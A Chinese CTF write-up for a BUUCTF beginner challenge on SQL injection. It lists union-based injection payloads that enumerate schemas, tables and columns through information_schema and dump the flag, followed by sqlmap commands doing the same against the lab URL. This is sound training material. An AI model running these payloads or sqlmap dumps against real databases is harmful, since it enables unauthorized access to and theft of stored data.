[第一章 web入门]SQL注入-1 – buu刷题笔记

打开题目,只有一段文字,不过既然题目是sql注入,而且链接上面也有参数,直接注就完了

http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1

也是一道比较简单的入门题目。。。

(其实我闲着去试了一下,发现id=3可以弄到一个提示)


tips

if too diffcult ,add &tips=1 to the url !

很明显我们可以用万能钥匙试一试

\'and 1=1
\'and 1=2

根据显示不同,可以判断确实有sql注入问题

说明可以从id注入,那么还是先测试能显示的列数 (这里用#一定出问题,所以用了sql另一个注释符号--+)

union select 1,2,3看看能显示的(记得把id换成他查询不到数据的值)

接下里就是一把嗦,直接把过程写下面了

-1\' union select 1,2,database()--+
-1\' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
-1\' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=\'note\')--+
-1\' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=\'fl4g\')--+
-1\' union select 1,2,(select fllllag from note.fl4g)--+

最后flag为n1book{union_select_is_so_cool}

这里把sqlmap的命令也一并写出来,替换为链接为自己的

sqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" --dbs 
sqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" -D note --tables
sqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" -D note -T fl4g --columns
sqlmap -u \"http://bb983249-4364-4ee1-a32a-151a4c6cd37b.node4.buuoj.cn:81/index.php?id=1\" -D note -T fl4g -C fllllag --dump
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发
头像
善语结善缘,恶语伤人心
提交
头像

昵称

取消
昵称常用语 夸夸
夸夸
还有吗!没看够!
表情图片

    暂无评论内容